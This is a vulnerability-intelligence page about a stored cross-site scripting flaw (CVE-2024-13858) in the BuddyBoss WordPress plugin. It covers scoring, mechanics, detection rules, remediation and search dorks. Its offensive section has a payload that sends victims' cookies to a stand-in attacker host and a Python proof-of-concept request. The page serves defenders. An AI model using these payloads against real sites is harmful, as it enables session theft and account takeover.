☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.4 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-13858

CVE-2024-13858 Cross-Site Scripting in Buddyboss
📅 PUBLISHED: 2025-05-02 06:41 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.28%
👁️
0.28% probability
7.0× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.4
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
6.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-13858 is a Stored Cross-Site Scripting (XSS) vulnerability affecting the BuddyBoss Platform plugin (versions up to 2.8.50) and BuddyBoss Theme (versions up to 2.8.41) for WordPress. The flaw resides in the invitee_name parameter, which is insufficiently sanitized and escaped. An authenticated attacker with Subscriber-level access or higher can inject arbitrary web scripts that execute when other users access the compromised page. This vulnerability is particularly dangerous in a WordPress ecosystem because BuddyBoss is a popular community and social networking plugin, meaning injected scripts can spread rapidly through user profiles, group invitations, and activity feeds. The partial patch in v2.8.41 of the Platform plugin does not fully resolve the issue, leaving many installations exposed.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin and theme distributed via the official WordPress plugin repository and commercial channels. Users who install BuddyBoss from third-party sources or outdated mirrors may be at higher risk. The partial patch status indicates a supply chain risk where incomplete fixes may give a false sense of security. Administrators should verify they are running the latest patched version from the official vendor.

CVSS Breakdown & Threat Level

CVSS Score: 6.4 (Medium)
Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

  • Attack Vector (AV): Network – the vulnerability is exploitable remotely.
  • Attack Complexity (AC): Low – no special conditions required.
  • Privileges Required (PR): Low – attacker needs Subscriber-level access.
  • User Interaction (UI): None – the injected script executes automatically when the page is viewed.
  • Scope (S): Changed – the vulnerability can impact resources beyond the vulnerable component.
  • Confidentiality (C): Low – limited data exposure possible.
  • Integrity (I): Low – limited ability to modify content.
  • Availability (A): None – no direct denial-of-service impact.

Threat Level: Medium. While the CVSS score is moderate, the prevalence of BuddyBoss in community-driven WordPress sites and the ease of exploitation (low privileges, no user interaction) elevate the real-world risk. The partial patch status further increases the threat.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS in the invitee_name parameter. BuddyBoss allows users to invite others to groups or events. The invitee_name field is intended to display the name of the invited user. However, due to insufficient input sanitization and output escaping, an attacker can inject malicious JavaScript code into this field.

Attack Flow:

  1. An authenticated user (Subscriber or higher) initiates an invitation to a group or event.
  2. The attacker crafts a malicious payload in the invitee_name parameter, e.g., <script>alert('XSS')</script>.
  3. The payload is stored in the database without proper sanitization.
  4. When any user (including administrators) views the invitation list or related page, the script executes in their browser context.
  5. The attacker can then steal session cookies, perform actions on behalf of the victim, or deface the site.

The partial patch in v2.8.41 of the Platform plugin likely addressed some instances but not all, leaving other vectors (e.g., in the Theme or other plugin components) still exploitable.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// In a BuddyBoss function handling invitations
$invitee_name = $_POST['invitee_name'];
// No sanitization or escaping
$wpdb->insert( $table, array( 'invitee_name' => $invitee_name ) );

Patched Code (Expected):

$invitee_name = sanitize_text_field( $_POST['invitee_name'] );
$invitee_name = esc_html( $invitee_name );
$wpdb->insert( $table, array( 'invitee_name' => $invitee_name ) );

The patch should use sanitize_text_field() to strip malicious tags and esc_html() when outputting the value. The partial patch may have missed some output contexts or alternative parameters.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

  • A WordPress installation with BuddyBoss Platform (<=2.8.50) and/or Theme (<=2.8.41).
  • An authenticated user account with Subscriber-level privileges.

Exploitation Steps:

  1. Log in as a subscriber.
  2. Navigate to a group or event invitation page.
  3. Intercept the invitation request (e.g., using Burp Suite).
  4. Modify the invitee_name parameter to include a malicious payload:
    invitee_name=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
    
  5. Submit the request.
  6. When an administrator or other user views the invitation list, the script executes, exfiltrating cookies.

Proof-of-Concept (PoC) Code:

import requests

target_url = "http://target-site.com/wp-admin/admin-ajax.php"
cookies = {"wordpress_logged_in": "..."}  # Subscriber session

payload = {
    "action": "buddyboss_invite",
    "invitee_name": "<script>alert('XSS')</script>",
    "group_id": "1"
}

response = requests.post(target_url, data=payload, cookies=cookies)
print("Payload sent. Check target site for XSS execution.")

Blue Team (Defensive)

Detection Steps:

  1. Monitor for unusual invitee_name parameters containing <script>, onerror, onload, or other HTML event handlers.
  2. Review web server logs for requests to admin-ajax.php with suspicious invitee_name values.
  3. Use a Web Application Firewall (WAF) to block common XSS patterns in POST parameters.
  4. Regularly scan WordPress installations for outdated BuddyBoss versions.

Hunting Query (Splunk):

index=web sourcetype=access_combined
| search uri_path="/wp-admin/admin-ajax.php" AND form_data="*invitee_name*"
| rex field=form_data "invitee_name=(?<invitee>[^&]+)"
| where match(invitee, "(<script|<img|onerror|onload|javascript:)")
| table _time, clientip, uri, invitee

Indicators of Compromise (IOCs)

  • Network IOCs:
    • Outbound connections to known malicious domains from WordPress admin pages.
    • HTTP requests containing invitee_name with encoded or raw script tags.
  • Host IOCs:
    • Database entries in wp_bp_invitations or similar tables with invitee_name containing HTML/JavaScript.
    • Unexpected JavaScript files or injected code in BuddyBoss template files.
  • File IOCs:
    • Modified BuddyBoss plugin files (e.g., bp-invitations/classes/class-bp-invitation.php).
  • Log IOCs:
    • Repeated 404 errors on non-existent pages (if attacker probes for vulnerable endpoints).
    • Unusual admin-ajax.php requests with action=buddyboss_invite from low-privilege users.

Detection Engineering

YARA Rule

rule CVE_2024_13858_BuddyBoss_XSS {
    meta:
        description = "Detects stored XSS payloads in BuddyBoss invitee_name parameter"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-13858"
    strings:
        $xss_payload = /invitee_name[^&]*<script[^>]*>/
        $xss_event = /invitee_name[^&]*on\w+\s*=/
    condition:
        any of them
}

Sigma Rule

title: BuddyBoss Stored XSS via invitee_name
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2024-13858 by injecting XSS payloads into the invitee_name parameter.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'admin-ajax.php'
        cs-uri-query|contains: 'action=buddyboss_invite'
    keywords:
        - 'invitee_name='
        - '<script'
        - 'onerror='
        - 'onload='
    condition: selection and keywords
falsepositives:
    - Legitimate use of HTML in invitee names (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-13858 BuddyBoss Stored XSS Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=buddyboss_invite"; http_client_body;
    content:"invitee_name="; http_client_body;
    pcre:"/invitee_name=[^&]*(<script|onerror|onload|javascript:)/i";
    sid:10000001;
    rev:1;
    reference:cve,2024-13858;
)

Remediation & Mitigation

Immediate Actions:

  1. Update BuddyBoss Platform to version 2.8.41 or later (if available). Note that the patch is partial; monitor for a complete fix.
  2. Update BuddyBoss Theme to version 2.8.41 or later.
  3. If no patch is available, disable the invitation feature temporarily or restrict it to trusted users only.

Long-Term Mitigations:

  • Implement a Web Application Firewall (WAF) with rules to block XSS payloads in POST parameters.
  • Enforce strict Content Security Policy (CSP) headers to prevent inline script execution.
  • Conduct regular security audits of WordPress plugins and themes.
  • Educate users about the risks of clicking on suspicious invitations.

Workarounds:

  • Use a security plugin like Wordfence to add an additional layer of XSS filtering.
  • Manually sanitize the invitee_name field by adding a custom filter in functions.php:
    add_filter( 'buddyboss_invitee_name', 'sanitize_text_field' );
    

Valters IT Signature
This report was generated by Valters IT Cyber Threat Intelligence Division. For questions, contact cti@valtersit.com.

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"BuddyBoss"
http.html:"buddyboss-platform"
http.html:"bbpress" "buddyboss"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-13858/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.